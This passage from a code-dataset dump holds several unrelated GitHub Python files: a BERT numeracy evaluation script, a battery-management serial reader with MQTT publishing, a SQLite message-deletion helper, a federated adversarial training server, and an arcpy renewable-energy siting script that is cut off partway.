['lbin','lval','bin','val','num']:\n i[p] = self.tokenizer.mask_token_id \n a = encs['attention_mask'][j]\n for idx,(i_,a_) in enumerate(list(zip(i,a))[1:sum(a)-1]):\n if idx+1 == p and self.numtok not in ['none']: # ignoring all after numpos!\n continue\n token = self.tokenizer.decode([i_])\n if token == '.':\n continue\n try:\n int(token.strip('#'))\n continue\n except:\n pass\n \n i_mask = i.copy()\n i_mask[idx+1] = self.tokenizer.mask_token_id\n i_true = [-100]*len(i)\n i_true[idx+1] = i[idx+1]\n \n self.data.append((row['id'], i_mask, a, NUM, numpos, i_true, idx+1))\n \n def __getitem__(self, idx):\n idx_, i_mask, a, n, p, i, pos = self.data[idx]\n return torch.tensor(idx_), torch.tensor(i_mask), torch.tensor(a), torch.tensor(n), torch.tensor(p), torch.tensor(i), torch.tensor(pos)\n \n def __len__(self):\n return len(self.data)\n \n def _get_tokenizer(self, model_name):\n if model_name[:5] == 'bert-':\n return transformers.BertTokenizerFast.from_pretrained(model_name), '[MASK]'\n elif model_name[:8] == 'roberta-':\n return transformers.RobertaTokenizerFast.from_pretrained(model_name), ''\n else:\n print(\"Tokenizer not recognized\")\n raise NotImplementedError\n\n def get_string(self, num): # num is a float\n if num > 1.0 and round(num, self.numlen) == int(num):\n num = int(num)\n else:\n num = round(num, self.numlen)\n return str(num)\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--ckpt', help='checkpoint to load', default='', type=str)\n parser.add_argument('--hits', type=int, nargs='*', default=[1,5,20,100])\n parser.add_argument('--maxtoks', type=int, help='max number of tokens', default=30)\n parser.add_argument('--debug', default=False, action='store_true', help='Debug?')\n parser.add_argument('--limit', type=int, help='limit eval (10)', default=10)\n parser.add_argument('--device', help='cpu* or 0/1/2/3', default='cpu', type=str)\n parser.add_argument('--batch-size', type=int, help='batch size', default=64)\n parser.add_argument('--nworks', type=int, help='Number of dataloader workers (default:1)', default=50)\n args = parser.parse_args()\n \n typ = 'json'\n if '600' in args.ckpt:\n testfile = 'data/test600.json'\n valids = [int(l.strip('\\n')) for l in open('common600_8223.txt').readlines()]\n else:\n testfile = 'data/test_wiki.json'\n valids = [int(l.strip('\\n')) for l in open('commonWikiConvert_8600.txt').readlines()]\n # we provide text files of common sentence indices to evaluate models on, for comparable results.\n \n if args.device in ['0','1','2','3']:\n device = 'cuda:' + args.device\n else:\n device = 'cpu'\n net = train.Reader.load_from_checkpoint(checkpoint_path=args.ckpt)\n net = net.eval()\n net = net.to(device)\n\n edata = EvalDataset(numtok=net.hparams.enc, sample=args.limit, tok=net.hparams.base, dataset=testfile, typ=typ, range_=[1e-4,1e6], maxtoks=args.maxtoks, maxlen=150, minlen=15, valid_idxs=valids, debug=args.debug)\n if args.debug:\n print(edata[0])\n os.environ['TOKENIZERS_PARALLELISM'] = 'false'\n eloader = torch.utils.data.DataLoader(edata, batch_size=args.batch_size, num_workers=args.nworks)\n if args.debug:\n print(len(edata), len(eloader))\n hits = {k:0 for k in args.hits}\n nlls = []\n if not args.debug:\n tqdm = lambda x: x\n for idx, i_mask, a, n, p, i, pos in tqdm(iter(eloader)):\n output = net(i_mask.to(device), a.to(device), p.to(device), n.to(device), i.to(device))\n l = output.loss.item()\n nlls.append(l)\n i_ = i[torch.arange(i.shape[0]), pos].to(device) # (B)\n topk = torch.topk(output.logits[torch.arange(i.shape[0]), pos], dim=-1, k=max(hits.keys())).indices\n for k in hits.keys():\n anys = torch.any(i_.unsqueeze(-1) == topk[torch.arange(i.shape[0]), :k],dim=-1)\n hits[k] += torch.mean(anys.float()).item() \n if args.debug:\n print(round(l,3), anys)\n \n ppl = round(2 ** (sum(nlls) / len(nlls)), 3)\n hits = {k:round(v*100/len(nlls),3) for k,v in hits.items()}\n print(str(args.maxtoks)+' '+args.ckpt+'\\t'+str(len(edata))+'\\t'+str(ppl)+'\\t'+str(hits)+'\\n')\n \nif __name__ == \"__main__\":\n main()\n \n# nice python eval.py --limit 10_000 --ckpt checkpoints/read-WC-def-adj-noun/epoch=9.ckpt --maxtoks 150 --batch-size 128 --device 0\n","repo_name":"avi-jit/numeracy-literacy","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":7913,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"3235481476","text":"from pybrid.split_scripts import main\nfrom pybrid.config import default_cfg as cfg\n\ncfg.exp.log_dir = \"results/hybrid_split\"\ncfg.exp.num_batches = 3000\ncfg.exp.batches_per_epoch = 100\ncfg.exp.test_hybrid = True\ncfg.exp.test_amort = True\n\ncfg.data.train_size = None\ncfg.data.test_size = None\n\ncfg.infer.num_train_iters = 100\ncfg.infer.num_test_iters = 100\n\ncfg.infer.train_thresh = 0.005\ncfg.infer.test_thresh = 0.005\n\nseeds = [0, 1, 2]\nfor seed in seeds:\n cfg.exp.seed = seed\n main(cfg)","repo_name":"alec-tschantz/pybrid","sub_path":"scripts/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"35244660521","text":"import struct\nimport json\nimport serial\nimport paho.mqtt.publish as publish\n\n\nclass Daly:\n def __init__(self, serial_port):\n \"\"\"code taken from https://github.com/dreadnought/python-daly-bms\"\"\"\n\n self.address = 4\n self.cells_num = 8\n self.serial_port = serial_port\n\n self.errors = []\n\n def read_actual_data(self):\n try:\n response_data = self._read(\"95\")\n except Exception as e:\n return False\n\n if not response_data:\n return False\n cell_voltages = self._split_frames(response_data=response_data, structure=\">b 3h x\")\n if cell_voltages:\n for cell_num in range(1, self.cells_num+1):\n cell_voltages[f\"cell_{cell_num}\"] = cell_voltages.pop(cell_num)\n else:\n return False\n\n cell_voltages_list = list(cell_voltages.values())\n min_voltage = min(cell_voltages_list)\n max_voltage = max(cell_voltages_list)\n difference = max_voltage - min_voltage\n cell_voltages[\"diff\"] = difference\n return cell_voltages\n\n def mqtt_publish(self, ok, data):\n msg = data\n msg[\"ok\"] = int(ok)\n msg = json.dumps(msg)\n\n try:\n publish.single(\"Daly\", msg, hostname=\"localhost\")\n except Exception as e:\n print(e)\n self.errors.append(e)\n return False\n return True\n\n def format_report(self, data):\n for key, val in data.items():\n print(key, val)\n\n @staticmethod\n def _calc_crc(message_bytes):\n \"\"\"\n Calculate the checksum of a message\n :param message_bytes: Bytes for which the checksum should get calculated\n :return: Checksum as bytes\n \"\"\"\n return bytes([sum(message_bytes) & 0xFF])\n\n def _format_message(self, command, extra=\"\"):\n \"\"\"\n Takes the command ID and formats a request message\n :param command: Command ID (\"90\" - \"98\")\n :return: Request message as bytes\n \"\"\"\n # 95 -> a58095080000000000000000c2\n message = \"a5%i0%s08%s\" % (self.address, command, extra)\n message = message.ljust(24, \"0\")\n message_bytes = bytearray.fromhex(message)\n message_bytes += self._calc_crc(message_bytes)\n\n return message_bytes\n\n def _read(self, command):\n \"\"\"\n Sends a read request to the BMS and reads the response. In case it fails, it retries 'max_responses' times.\n :param command: Command ID (\"90\" - \"98\")\n :return: Request message as bytes or False\n \"\"\"\n ser = serial.Serial(\n port=self.serial_port,\n baudrate=9600,\n bytesize=serial.EIGHTBITS,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n timeout=0.5,\n xonxoff=False,\n writeTimeout=0.5\n )\n\n if not ser.is_open:\n ser.open()\n message_bytes = self._format_message(command)\n\n # clear all buffers, in case something is left from a previous command that failed\n ser.reset_input_buffer()\n ser.reset_output_buffer()\n\n if not ser.write(message_bytes):\n ser.close()\n return False\n max_responses = 3\n x = 0\n response_data = []\n while True:\n b = ser.read(13)\n if len(b) == 0:\n break\n x += 1\n response_crc = self._calc_crc(b[:-1])\n if response_crc != b[-1:]:\n pass\n header = b[0:4].hex()\n if header[4:6] != command:\n continue\n data = b[4:-1]\n response_data.append(data)\n if x == max_responses:\n break\n\n if response_data:\n ser.close()\n return response_data\n else:\n ser.close()\n return False\n\n def _split_frames(self, response_data, structure):\n values = {}\n x = 1\n for response_bytes in response_data:\n try:\n parts = struct.unpack(structure, response_bytes)\n except struct.error:\n return False\n if parts[0] != x:\n continue\n for value in parts[1:]:\n values[len(values) + 1] = value\n if len(values) == self.cells_num:\n return values\n x += 1\n","repo_name":"Jaroslav-Dvorak/Pergola","sub_path":"Py/DataCollection/Daly.py","file_name":"Daly.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42930835008","text":"#!/bin/env python3\n\nimport os\nimport sqlite3\n\nfrom settings import database\nfrom logincoming import sitepath\n\ndef single_msg(msgid):\n conn = sqlite3.connect(database)\n\n attachment = conn.execute(\n 'select attachments from messages where rowid = ?',\n [msgid]).fetchone()\n attachment = attachment[0]\n if attachment:\n attachments_dir = os.path.join(sitepath, 'attachments')\n attachment_path = os.path.join(attachments_dir, attachment)\n os.remove(attachment_path)\n \n conn.execute('delete from messages where rowid = ?', [msgid])\n\n conn.commit()\n conn.close()\n\ndef msg_thread(number):\n conn = sqlite3.connect(database)\n\n rowids = conn.execute(\n 'select rowid from messages where recipient = ? or source = ?',\n [number, number]).fetchall()\n rowids = [rowid[0] for rowid in rowids]\n\n conn.close()\n\n for rowid in rowids:\n single_msg(rowid)\n","repo_name":"thisisparker/tuttle","sub_path":"deletemsg.py","file_name":"deletemsg.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"32156510840","text":"import numpy as np\nfrom fade.server.base import Server\nfrom fade.utils import _log_time_usage\n\n\nclass FedAdv(Server):\n \"\"\"Federated Adversarial Server assuming:\n * Each user from different adversarial groups, e.g., real vs fake images, male vs female.\n * The group indicates the adversarial group.\n \"\"\"\n if_personal_local_adaptation = False\n\n def train(self):\n loss = []\n only_online_users = True\n glob_iter = -1\n for glob_iter in range(self.num_glob_iters):\n print(\"-------------Round number: \", glob_iter, \" -------------\")\n\n if hasattr(self.full_config.server, \"rev_lambda_warmup_iter\"):\n rev_lambda_warmup_iter = self.full_config.server.rev_lambda_warmup_iter\n else:\n rev_lambda_warmup_iter = 0\n if 0 < rev_lambda_warmup_iter < 1:\n rev_lambda_warmup_iter *= self.num_glob_iters\n progress = max(float(glob_iter - rev_lambda_warmup_iter) / self.num_glob_iters, 0)\n # progress = float(glob_iter) / self.num_glob_iters\n rev_lambda = 2. / (1. + np.exp(-10. * progress)) - 1 # from 0 to 1. Half-Sigmoid\n print(f\"## rev_lambda: {rev_lambda}\")\n\n # loss_ = 0\n if len(self.online_user_idxs) >= 1:\n self.send_parameters(glob_iter=glob_iter)\n print(f\"Online: {len(self.online_user_idxs)}/{len(self.users)}\")\n else:\n print(f\"Local training.\")\n only_online_users = False\n\n self.selected_users = self.select_users(glob_iter, self.num_users,\n only_online_users=only_online_users)\n eval_users = self.selected_users if self.partial_eval else self.users\n\n with _log_time_usage():\n _do_save = False\n if hasattr(self.full_config, 'eval_freq'):\n if glob_iter % self.full_config.eval_freq == 0:\n _do_evaluation = True\n _do_save = True\n else:\n _do_evaluation = False\n else:\n _do_evaluation = True\n\n if _do_evaluation:\n # Evaluate model each iteration\n if hasattr(self.full_config, 'snapshot') and self.full_config.snapshot:\n raise RuntimeError(f\"Not support snapshot\")\n else:\n eval_dict = self.evaluate(eval_users, reduce_users=self.partial_eval,\n full_info=False, return_dict=True)\n eval_dict = dict((\"g_\" + k, v) for k, v in eval_dict.items())\n self.log(eval_dict, commit=False)\n if _do_save:\n self.save_model()\n\n with _log_time_usage(\"train and aggregate\"):\n if hasattr(self.user_cfg, 'no_local_model') and self.user_cfg.no_local_model:\n raise RuntimeError(f\"Not support no_local_model.\")\n else:\n self.train_users(rev_lambda=rev_lambda)\n\n if hasattr(self.full_config.server, 'sync_optimizer') and self.full_config.server.sync_optimizer:\n assert len(self.selected_users) == 1, \\\n \"For copying user's opt states, only one selected user is allowed.\"\n sel_user = self.selected_users[0]\n for user in self.users:\n if user.id != sel_user.id: # ignore same user.\n user.optimizer.load_state_dict(sel_user.optimizer.state_dict())\n\n self.log({\"global epoch\": glob_iter, \"rev_lambda\": rev_lambda}, commit=True)\n if len(self.online_user_idxs) >= 1:\n self.send_parameters(glob_iter=glob_iter+1)\n self.save_results()\n self.save_model()\n\n def train_users(self, **user_train_kwargs):\n \"\"\"Train users and aggregate parameters.\n If fair_update is required, then aggregation will be weighted by softmax-ed losses.\n \"\"\"\n user_losses = []\n for user in self.selected_users:\n losses = user.train(**user_train_kwargs) # * user.train_samples\n user_losses.append(losses[0]) # Only keep the first one\n if hasattr(self.full_config.server, 'fair_update') and self.full_config.server.fair_update:\n group_losses = []\n for loss_ in user_losses:\n group_losses.append(loss_['group_loss'][0].item())\n total_group_loss = np.sum(group_losses)\n weights = [gl / total_group_loss for gl in group_losses]\n self.personalized_aggregate_parameters(weights=weights)\n else:\n self.personalized_aggregate_parameters()\n","repo_name":"illidanlab/FADE","sub_path":"fade/server/FedAdv.py","file_name":"FedAdv.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"31"} +{"seq_id":"25992701330","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 12/1/2018\n\n@author: Grace Wu\n\nPURPOSE: This script creates Supply Curves for RESOLVE for Wind, PV, and Geothermal\n\nPrevious filename: RESOLVEsupplyCurve_py3_112918.py\n\"\"\"\n\n##--------------------------------Preamble ----------------------------------\nimport arcpy\nimport numpy\nimport numpy.lib.recfunctions\nimport scipy.stats as stats\nimport math\nimport time\nimport os\nimport csv\nimport re\nimport pandas\nimport collections\nstart_time = time.time()\nprint(start_time)\n# Check out any necessary licenses\narcpy.CheckOutExtension(\"spatial\")\nfrom arcpy import env\nfrom arcpy.sa import *\nimport arcpy.cartography as CA\narcpy.env.overwriteOutput = True\n\n'''\n################################################################################\n##---------------------Local Parameters and workspace------------------------###\n################################################################################\n'''\n## assumptions:\ntech = \"solar\" ## Select: \"solar\", \"wind\", \"geothermal\"\nminArea = 1 # km2; all polygons below this threshold will not be inlcuded in the result\n\n### Set workspace for saving outputs: create file geodatabase (fgdb) for run session outputs\nmainInputFolder = \"C:\\\\Users\\\\Grace\\\\Documents\\\\TNC_beyond50\\\\PathTo100\\\\dataCollection\\\\\" #^^\nmainOutputFolder = \"C:\\\\Users\\\\Grace\\\\Documents\\\\TNC_beyond50\\\\PathTo100\\\\siteSuitabilityOutputs\\\\\" #^^\n\ngdbFileName = \"112918_resourceAssessment.gdb\"\nsupplyCurveFolder = \"1118_results\"\n\nenv.scratchWorkspace = os.path.join(mainOutputFolder, \"scratch.gdb\") # sets scratchworkspace to your output workspace \nenv.workspace = os.path.join(mainOutputFolder, gdbFileName) # sets environment workspace to your output workspace\n\n# set input paths:\n#stateBounds = os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\SRTM_W_250m_proj_cl\") ##^^ enter the path to your STATE boundary shapefile\ntemplateRaster = os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\SRTM_W_250m_proj_cl\") ##^^ enter path to DEM data\n\n# set environments for raster analyses\narcpy.env.snapRaster = templateRaster\narcpy.env.extent = templateRaster\narcpy.env.mask = templateRaster\narcpy.env.cellSize = templateRaster\n\n#################\n## INPUT FILES ##\n#################\n\n## renewable resource rasters\nsolarCF = os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\CF_FixedPV_SAM_AC_CF_250m\")\nwindCF = os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\CF_WINDtoolkit_NREL_IDW_masked_NoDataVals_250m\")\n\n## Existing wind and solar power plants\nexistingWind = os.path.join(mainInputFolder, \"existingEnergyInfrastructure\\\\energyInfrastructure.gdb\\\\Ventyx_USGS_merged_repowering\")\nexistingSolar = os.path.join(mainInputFolder, \"existingEnergyInfrastructure\\\\energyInfrastructure.gdb\\\\NationalSolarArrays_solarOnly\")\n\n## QRAs and SuperCREZs (study boundaries)\nQRAfilePath = os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\QRA_proj\")\nSuperCREZ = os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\SUPERCREZ_proj\")\nstatesFilePath = os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\stateBound_baja\")\n\nscratch = os.path.join(mainOutputFolder, \"scratch.gdb\")\n\n'''\n######################################################################################\n##-------SITE SUITABILITY USING ALL ENV DATA : ERASE + EXTRACT BY MASK-------------###\n######################################################################################\n\nPURPOSE: Creates site suitability maps results from MapRE Script Tool B Stage 1 using \nonly technical exclusions and erases environmental exclusion areas \n'''\n\n#### SET PATHS TO ORIGINAL ENV EXCLUSION CATEGORIES FOR EACH TECHNOLOGY\n## Note: each Category is comrpised of one or more features\n\n## SOLAR\nif tech == \"solar\":\n Cat1 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat1_solar\\\\Cat1_u_d_s.shp\"), [\"\", \"_cat1a\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\tnc_lands_cat1_2\\\\tnc_lands_cat1_easements_proj.shp\"), [\"_cat1a\", \"_cat1b\"])])\n Cat2 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\both_p1\\\\Both_p1.shp\"), [\"_cat1b\", \"_cat2a\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\both_p2\\\\Both_p2.shp\"), [\"_cat2a\", \"_cat2b\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\solar_p1\\\\Solar_p1.shp\"), [\"_cat2b\", \"_cat2c\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\solar_p2\\\\Solar_p2.shp\"), [\"_cat2c\", \"_cat2d\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\0045_AHPRC_Cat2\\\\0045_AHPRC\\\\data\\\\v101\\\\nps_identified_high_potential_for_resource_conflict.gdb\\\\NPS_AHPRC\"), [\"_cat2d\", \"_cat2e\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\tnc_lands_cat1_2\\\\tnc_lands_cat2_feeAreas_proj.shp\"), [\"_cat2e\", \"_cat2f\"])])\n Cat3 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat3\\\\Cat3_solar_excl_base_proj.shp\"), [\"_cat2f\", \"_cat3c\"])])\n Cat4 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat4\\\\Cat4_u_d_s_proj.shp\"), [\"_cat3\", \"_cat4\"])])\n CFraster = solarCF\n ## Path to non-environmental site suitability results (created using MapRE Script Tool B Stage 1)\n inputNAME = os.path.join(mainOutputFolder, gdbFileName, \"solarPV_0_0_nonEnv_r1\")\n\n## WIND\nif tech == \"wind\":\n Cat1 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat1_wind\\\\Cat1_wind_u_d_s.shp\"), [\"\", \"_cat1a\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\tnc_lands_cat1_2\\\\tnc_lands_cat1_easements_proj.shp\"), [\"_cat1a\", \"_cat1b\"])])\n Cat2 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\both_p1\\\\Both_p1.shp\"), [\"_cat1b\", \"_cat2aa\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\both_p2\\\\Both_p2.shp\"), [\"_cat2aa\", \"_cat2b\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\wind_p1\\\\Wind_p1.shp\"), [\"_cat2b\", \"_cat2c\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\wind_p2\\\\Wind_p2.shp\"), [\"_cat2c\", \"_cat2d\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\0045_AHPRC_Cat2\\\\0045_AHPRC\\\\data\\\\v101\\\\nps_identified_high_potential_for_resource_conflict.gdb\\\\NPS_AHPRC\"), [\"_cat2d\", \"_cat2e\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\tnc_lands_cat1_2\\\\tnc_lands_cat2_feeAreas_proj.shp\"), [\"_cat2e\", \"_cat2f\"])])\n Cat3 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat3\\\\Cat3_solar_excl_base_proj.shp\"), [\"_cat2f\", \"_cat3a\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat3\\\\Cat3_wind_excl_p1_proj.shp\"), [\"_cat3a\", \"_cat3b\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat3\\\\Cat3_wind_excl_p2_no0147_proj.shp\"), [\"_cat3b\", \"_cat3c\"])])\n Cat4 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat4\\\\Cat4_u_d_s_proj.shp\"), [\"_cat3c\", \"_cat4\"])])\n CFraster = windCF\n ## Path to non-environmental site suitability results (created using MapRE Script Tool B Stage 1)\n inputNAME = os.path.join(mainOutputFolder, gdbFileName, \"wind_0_03_nonEnv_r3\")\n\nselectSuffix = \"_gt1km2\"\nenvEx_ls = [Cat1, Cat2, Cat3, Cat4]\n\n## For each env exclusion category, erase the env category using the previously saved feature class\nfor cat in envEx_ls:\n for ex in cat:\n ft = inputNAME + cat[ex][0]\n print(ft)\n outputFile = inputNAME + cat[ex][1]\n print(outputFile)\n ## erase\n print(\"Erasing \" + str(ex))\n arcpy.Erase_analysis(ft, ex, outputFile)\n\n ## Get outputfilename of last element of ordered dictionary for the category\n lastOutput = inputNAME + cat[next(reversed(cat))][1]\n\n ## convert multipart to singlepart\n print(\"Converting from multipart to singlepart\")\n ft_singlept_file = lastOutput + \"_singlepart\"\n ft_singlept = arcpy.MultipartToSinglepart_management(in_features = lastOutput, out_feature_class = ft_singlept_file)\n \n ## recalculate area\n fields = arcpy.ListFields(ft_singlept)\n fieldList = []\n for field in fields:\n fieldList.append(field.name)\n if \"Area\" not in fieldList:\n print(\"Adding Area field\")\n arcpy.AddField_management(ft_singlept, \"Area\", \"DOUBLE\")\n \n arcpy.CalculateField_management(in_table = ft_singlept, field = \"Area\", \\\n expression = \"!Shape.Area@squarekilometers!\", \\\n expression_type = \"PYTHON_9.3\")\n \n ## select areas greater than 1 or 2 km2\n print(\"selecting \")\n ft_singlept_select = arcpy.Select_analysis(ft_singlept,\\\n ft_singlept_file + selectSuffix, \\\n '\"Area\" >= ' + str(minArea))\n \n ## Create raster of capacity factors for each category\n print(\"Extracting by mask\")\n outExtractByMask = ExtractByMask(CFraster, ft_singlept_select)\n outExtractByMask.save(ft_singlept_file + selectSuffix + \"_rast\")\n \n print(\"Done: select min area \" + ft_singlept_file + selectSuffix) \n\n'''\n#############################################################################################\n##----------RUN SCRIPT TOOL B STAGE 2: CREATE CANDIDATE PROJECT AREAS----------------------##\n#############################################################################################\n\nPURPOSE: Takes output of above site suitability maps and creates Candidate Project Area (CPAs)\nBy breaking up the polygons into project-sized polygons. \n'''\n# Import custom toolbox\n#arcpy.ImportToolbox(\"F:\\\\MapRE_misc\\\\REzoningGIStools_allVersions\\\\REzoningGIStools_v1_4\\\\REzoning_models.tbx\", \"scriptToolBStage2CreateProjectAreas\")\n## alias: REzoningModels\n# Run tool in the custom toolbox. The tool is identified by\n# the tool name and the toolbox alias for example: arcpy.scriptToolBStage2CreateProjectAreas_REzoningModelss(arguments)\n\n## the above gives a syntax error. dunno why so just copying and pasting the script tool manually here and converting to function (website: mapre.lbl.gov/gis-tools)\n\ndef scriptToolB2 (suitableSites,projectsOut,scratch,templateRaster,countryBounds,geoUnits,fishnetSize,fishnetDirectory,whereClauseMax, whereClauseMin, whereClauseMinContArea):\n \n ############################################\n ## Set environments and scratch workspace ##\n ############################################\n \n # set environments for any raster analyses\n arcpy.env.snapRaster = Raster(templateRaster)\n arcpy.env.extent = countryBounds\n arcpy.env.mask = countryBounds\n arcpy.env.cellSize = Raster(templateRaster)\n \n env.workspace = scratch\n env.scratchWorkspace = scratch\n \n #################################################\n ## Check for fishnet file and create if needed ##\n #################################################\n\n \n fishnet = \"in_memory/fishnet_\" + str(fishnetSize) + \"km\" ## MUST add .shp if not putting file in gdb (for add field function)\n clippedFishnet = fishnetDirectory + \"\\\\\"+ \"fishnet_\" + str(fishnetSize) + \"km\"\n \n env.outputCoordinateSystem = templateRaster\n if not(arcpy.Exists(clippedFishnet)):\n #Create fishnet if one does not already exist:\n print(\"Creating fishnet \" + str(fishnetSize) + \" km in size to file: \" + fishnet)\n \n extent = Raster(templateRaster).extent\n \n XMin = extent.XMin ## left\n \n YMin = extent.YMin ## Bottom\n \n origin = str(XMin) + \" \" + str(YMin)\n \n YMax = extent.YMax ## top\n \n ycoord = str(XMin) + \" \" + str(YMax)\n \n arcpy.CreateFishnet_management(fishnet, origin, ycoord, \\\n fishnetSize * 1000,fishnetSize * 1000, '0', '0', \"\", \"NO_LABELS\", \\\n \"#\", \"POLYGON\")\n \n fields = arcpy.ListFields(fishnet)\n for field in fields: \n print(field.name)\n # Change fishnet Object ID name:\n arcpy.AddField_management(fishnet, \"Text\", \"Text\", \"\", \"\", \"\", \"\", \"NULLABLE\", \"NON_REQUIRED\", \"\")\n # Process: Calculate Field to create new alphanumeric OID column\n arcpy.CalculateField_management(fishnet, \"Text\", \"'A' + str(!OID!)\", \"PYTHON_9.3\", \"\")\n \n print(\"Creating country-boundary-clipped fishnet \" + str(fishnetSize) + \" km in size to file: \" + clippedFishnet)\n arcpy.Clip_analysis(fishnet, countryBounds, clippedFishnet)\n \n print(\"Copying fishnet to memory :\" + clippedFishnet)\n fishnetInMemory = arcpy.CopyFeatures_management(clippedFishnet, \"in_memory/clipped_fishnet\")\n \n # Temporary variables:\n IntermediateIntersect_geoUnits = \"in_memory/IntermediateIntersect_geoUnits\"\n Intermediate = \"in_memory/intermediate_2\"\n IntermediateErased = \"in_memory/intermediateErased_2\"\n IntermediateIntersect = \"in_memory/IntermediateIntersect_2\"\n IntermediateIntersect_singlept = \"in_memory/IntermediateIntersect_singlept\"\n #IntermediateAggregatedFeatures = \"in_memory/IntermediateAggregatedFeatures_2\"\n #IntermediateIntersectErased = \"in_memory/IntermediateIntersectErased_2\"\n IntermediateEliminated = \"in_memory/IntermediateEliminated\"\n IntermediateEliminated2 = \"in_memory/IntermediateEliminated2\"\n #IntermediateSelectedForAggregation1 = \"in_memory/IntermediateSelectedForAggregation1_2\"\n #IntermediateSelectedForAggregation2 = \"in_memory/IntermediateSelectedForAggregation2_2\"\n #IntermediateIntersect_geoUnits_2 = \"in_memory/IntermediateIntersect_geoUnits_2\"\n \n ###############\n ## Intersect ##\n ###############\n \n ## COPY SUITABLE SITES FEATURE CLASS TO MEMORY\n sites = arcpy.CopyFeatures_management(suitableSites, \"in_memory/suitableSites\")\n \n ## INTERSECT Geographic Unit of Analysis, if provided\n if arcpy.Exists(geoUnits):\n print(\"Intersecting by geographic units of analysis\")\n arcpy.Intersect_analysis([sites, geoUnits], IntermediateIntersect_geoUnits, \"NO_FID\")\n else:\n IntermediateIntersect_geoUnits = sites\n \n # calculate area:\n arcpy.AddField_management(IntermediateIntersect_geoUnits, \"Area\", \"DOUBLE\", \"\", \"\", \"\", \"\", \"NULLABLE\", \"NON_REQUIRED\", \"\")\n # Process: Calculate Field\n arcpy.CalculateField_management(IntermediateIntersect_geoUnits, \"Area\", \"!Shape.Area@squarekilometers!\", \"PYTHON_9.3\", \"\")\n \n # select polygons greater than max area to split\n arcpy.Select_analysis(IntermediateIntersect_geoUnits, Intermediate, whereClauseMax)\n # erase selected areas from potentialSites (isolate all polygons less than max to merge later)\n arcpy.Erase_analysis(IntermediateIntersect_geoUnits, Intermediate, IntermediateErased)\n \n # Intersect regions above max area using fishnet\n print(\"Intersecting by fishnet\")\n arcpy.Intersect_analysis([Intermediate, fishnetInMemory], IntermediateIntersect, \"NO_FID\")\n print(\"finished intersecting by fishnet\")\n # Process: Calculate Area\n arcpy.CalculateField_management(IntermediateIntersect, \"Area\", \"!Shape.Area@squarekilometers!\", \"PYTHON_9.3\", \"\")\n\n ################################\n ## Create singlepart polygons ##\n ################################\n\n ## Multi-part to single part\n arcpy.MultipartToSinglepart_management(in_features = IntermediateIntersect, out_feature_class = IntermediateIntersect_singlept)\n ## Recalculate area\n arcpy.CalculateField_management(IntermediateIntersect_singlept, \"Area\", \"!Shape.Area@squarekilometers!\", \"PYTHON_9.3\", \"\")\n\n ###############################\n ## Eliminate slivers - twice ##\n ###############################\n\n print(\"Starting elimination\")\n # Execute MakeFeatureLayer\n tempLayer = arcpy.MakeFeatureLayer_management(IntermediateIntersect_singlept, \"tempLayer\")\n \n # Execute SelectLayerByAttribute to define features to be eliminated\n arcpy.SelectLayerByAttribute_management(in_layer_or_view = tempLayer, selection_type= \"NEW_SELECTION\" , where_clause = whereClauseMin)\n\n # Execute Eliminate\n arcpy.Eliminate_management(\"tempLayer\", IntermediateEliminated, \"LENGTH\")\n \n ## iteration 2\n \n # Execute MakeFeatureLayer\n IntermediateEliminated_tempLayer = arcpy.MakeFeatureLayer_management(IntermediateEliminated, \"IntermediateEliminated\")\n \n # Execute SelectLayerByAttribute to define features to be eliminated\n arcpy.SelectLayerByAttribute_management(in_layer_or_view = IntermediateEliminated_tempLayer, selection_type= \"NEW_SELECTION\" , where_clause = whereClauseMin)\n\n # Execute Eliminate\n arcpy.Eliminate_management(IntermediateEliminated_tempLayer, IntermediateEliminated2, \"LENGTH\")\n\n ################################################\n 